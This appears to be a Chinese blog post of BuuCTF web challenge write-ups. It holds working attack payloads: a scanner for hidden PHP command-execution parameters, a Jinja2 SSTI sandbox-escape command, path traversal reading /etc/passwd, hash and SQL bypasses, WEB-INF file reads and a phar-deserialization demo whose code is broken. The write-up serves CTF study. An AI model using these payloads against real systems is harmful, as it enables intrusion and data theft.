BuuCTF Web Writeup 第二部分

[网鼎杯 2018]Fakebook

解题方法

上传图片马,修改后缀为phtml之后连接蚁剑

[强网杯 2019]高明的黑客

审计代码

拷贝下源码后发现有3000份文件,审计文件代码发现代码非常混乱

仔细观察可以看到代码中存在非常多的$_GET以及$_POST,以及命令执行函数

$_GET['xd0UXc39w'] = ' ';
assert($_GET['xd0UXc39w'] ?? ' ');

但基本都如上段代码一样无法利用

解题思路

0x00 先测试源码包中是否存在可以执行命令的点

0x01 代码量过大,脚本执行时间可能会过长,开启多线程

解题方法

# encoding: utf-8

import os
import requests
from concurrent.futures.thread import ThreadPoolExecutor

url = "http://localhost/CTF/BUUCTF/SmartHacker/src/"
path = "/Applications/XAMPP/xamppfiles/htdocs/CTF/BUUCTF/SmartHacker/src/"
files = os.listdir(path)
pool = ThreadPoolExecutor(max_workers=5)


def read_file(file):
    str = open(path + "/" + file, 'r').read()

    # catch GET
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1

        params[var] = 'print "get---";'

    # catch POST
    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'print post---;'

    # eval assert
    r = requests.post(url + file, data=data, params=params)
    if 'get---' in r.text:
        print(file, "found!A!get method")
    elif 'post---' in r.text:
        print(file, "found!A!post method")

    # system
    for i in params:
        params[i] = 'echo get---;'

    for i in data:
        data[i] = 'echo post---;'

    r = requests.post(url + file, data=data, params=params)
    if 'get---' in r.text:
        print(file, "found!B!get method")
    elif 'post---' in r.text:
        print(file, "found!B!post method")


if __name__ == '__main__':

    for file in files:
        if not os.path.isdir(file):
            pool.submit(read_file, file)

脚本结果

xk0SzyKwfzw.php found!B!get method

xk0SzyKwfzw.php$_GETsystem()结合的命令执行漏洞

审计代码

搜索xk0SzyKwfzw.php中的$_GET全局变量,在line 300发此现漏洞

$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);
payload: /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag 

[极客大挑战 2019]BuyFlag

[ACTF2020 新生赛]BackupFile

解题方法

文件扫描

python3 dirsearch.py -u http://f1658aa4-f3d6-4a32-8f19-7364b8a64e13.node3.buuoj.cn/ -e php

BuuCTF Web Writeup 第二部分
代码审计

<?php
include "flag.php";
  
if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

解题思路

0x00 is_numeric() -> key为纯数字字符串

0x01 intval($key) == $str -> 数字key与str弱相等

解题方法

/?key=123

0x01 php数字和字符串弱比较

字符串和数字进行比较时,若字符串头部为数字,则转换为相应数字;若无,则为0

<?php

$str1 = "abc";
$str2 = "4bc";

if ($str1 == 0)
    echo "str1 = 0";

if ($str2 == 4)
    echo "str2 = 4";

[ACTF2020 新生赛]Upload

解题方法

上传图片马之后修改图片后缀为html,蚁剑连接

[ZJCTF 2019]NiZhuanSiWei

[BJDCTF2020]Easy MD5

题目提示

F12查看响应头

Hint: select * from 'admin' where password=md5($pass,true)

解题方法

BuuCTF Web Writeup 第二部分
实验吧原题,令$pass = ffifdyop其原始二进制为'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

此时sql语句如下

$sql = "SELECT * FROM admin WHERE password = ''or'6�]��!r,��b'";

在mysql中两个字符串参与布尔判断时若字符串为’[int]XXXX’ 且 [int]>0 则为true,若为’XXXX’ 或 [int]==0 则为false

跳转到/levels91.php

代码审计

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

构造/levels91.php?a[]=1&b[]=2即可,不详述

代码审计

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

param1[]=1&param2[]=2不详述

[BJDCTF 2nd]fake google

题目提示

访问/qaq?name=查看源码后得知输入点存在ssti模板注入

<!--ssssssti & a little trick -->

解题思路

0x00 利用变量包裹标识符{{}}进行ssti

0x01 沙箱逃逸 & rce

解题方法

/qaq?name={{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat ../flag').read()")}}

另类解题方法

> python tplmap.py -u 'http://url/qaq?name=' --os-shell
	...
  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ cat /flag

0x01 SSTI

模板注入与我们熟知的SQL注入、命令注入等原理大同小异。{{}}在作为变量包裹标识符,在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2;黑客利用这点输入恶意数据,程序没有对其进行合理处理,而是直接拼接为程序的一部分,最终导致程序执行非预期行为

0x02 沙箱逃逸

内建函数

当启动一个python解释器时,即使没有创建任何变量或函数,还是会有很多函数可以使用,这就是内建函数

内建函数在启动python解释器时,就已导入到内存中,想要了解这里的工作原理,要从名称空间开始

名称空间在python是个非常重要的概念,它是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间

内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字

全局名称空间:在执行文件时,存放文件级别定义的名字

局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效

内建名称空间是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射,在某些特定类的内建函数列表中存在诸如eval之类的命令执行函数,为逃逸提供条件

查看初始模块,发现__builtins__是做为默认初始模块出现

>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']

查看builtins模块下的内建名称

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

类继承

python中变量应用class方法可以从变量实例转换到对应的对象类型,类有以下三种关于继承关系的方法

__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法

__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

__subclasses__() //继承此对象的子类,返回一个列表

有这些类继承的方法,就可以实现从任何一个变量,回溯到基类后,再获得到此基类所有实现的类

__globals__ & __init__

  • __globals__ 该属性是函数特有的属性,用于记录当前文件全局变量的值
  • __init__方法用于将对象实例化,在这个函数下可以通过__globals__查看全局变量

逃逸链

变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量 -> 命令执行

()(变量).__class__(对象).__bases__[0](基类).__subclasses__()[169](warnings.catch_warnings子类含有eval).__init__(初始化).__globals__(遍历全局变量).__builtins__['eval'](eval内置命令执行函数)("__import__('os').popen('cat ../flag').read()")(os.popen().read()打开文件并回显内容)

[RoarCTF 2019]Easy Java

点击 help,跳转到/Download?filename=help.docx,存在任意文件读取漏洞

java.io.FileNotFoundException:{help.docx} // 界面回显

此时读取文件失败,修改请求方法为 post

filename=/WEB-INF/web.xml

...
		// 敏感信息
    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

...

简述 servlet 的 url-pattern 匹配

上述信息中<servlet>首先配置声明一个 servlet,其中包括 servlet 名字以及其对应类名

<servlet-mapping>声明与该 servlet 相应的匹配规则,每个<url-pattern> 代表一个匹配规则

当浏览器发起一个url请求后,该请求发送到servlet容器的时候,容器先会将请求的url减去当前应用上下文的路径作为 servlet 的映射 url,剩下的部分拿来做servlet的映射匹配

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

下载文件进行反汇编

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "FlagController")
public class FlagController extends HttpServlet {
  String flag = "ZmxhZ3s1ZTNhNzBjMS0xNzk2LTRmNmQtODUyOC05ZmE1MzYzOGNhZTV9Cg==";
  
  protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    PrintWriter printWriter = paramHttpServletResponse.getWriter();
    printWriter.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
  }
}

什么是WEB-INF & WEB-INF重要目录和文件

WEB-INF 是 JavaWeb 的安全目录,所谓安全就是客户端无法访问,只有服务端可以访问的目录

  • /WEB-INF/web.xml

    Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则

  • /WEB-INF/classes/

    包含站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

  • /WEB-INF/lib/

    存放 web 应用需要的各种 JAR 文件

  • /WEB-INF/src/

    源码目录,按照包名结构放置各个java文件

  • /WEB-INF/database.properties

    数据库配置文件

[极客大挑战 2019]HardSQL

(未完成)[CISCN2019 华北赛区 Day1 Web1]Dropbox

上传测试后发现只能上传图片类型文件

抓包

POST /download.php HTTP/1.1
...
Cookie: PHPSESSID=94b78b93ffa19e6bc6d07e0da5307548
Connection: keep-alive
Upgrade-Insecure-Requests: 1

filename=%E5%9B%BE%E7%89%87%E9%A9%AC.png

放包之后会显示文件内容

目录穿越

filename=../../../../../etc/passwd

显示结果

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

题目中的主要文件

.
├── class.php
├── delete.php
├── download.php
├── index.php
├── login.php
└── register.php

class.php是核心文件

class.php(简化)

<?php

class User {
    public $db;

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        ...
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

File类中的close()方法存在RCE vulnerability

Q: 如何利用RCE vulnerability?

代码中并不 unserialize(),但存在文件上传点

Attack PHP Deserialization Vulnerability via Phar

the Phar File Structure

0x00 A Stub

It can be interpreted as a flag and the format is xxx<?php xxx; __HALT_COMPILER();?>.The front content is not limited, but it must end with __HALT_COMPILER();?>, otherwise the phar extension will not recognize this file as a phar file.

0x01 A Manitest Describing the Contents

A phar file is essentially a compressed file, in which the permissions, attributes and other information of each compressed file are included. This section also stores user-defined meta-data in serialized form, which is the core of the above attacks.

0x02 The File Contents

It is the contents of compressed file.

0x03 A signature for verifying Phar integrity

phar file format only

Demo

Construct a phar file according to the file structure, and PHP has a built-in class to handle related operations

Set the phar.readonly option in php.ini to Off, otherwise the phar file cannot be generated.

class Demo {
  @unlink("phar.phar");
  $phar = new Phar("phar.phar"); // suffix must be phar
  $phar->startBuffering();
  $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // set stub and disguise as gif
  $o = new file();
  $o->output = "phpinfo();";
  $phar->setMetadata($o); // store custom meta-data in manifest
  $phar->addFromString("test.txt", "test"); // compressed file
  $phar->stopBuffering(); // automatic computation of signature
};
上一篇:【CTF】WDCTF-2017 3-1 writeup


下一篇:CSS3 HTML 实现QQ音乐歌词进度染色效果 Go!!!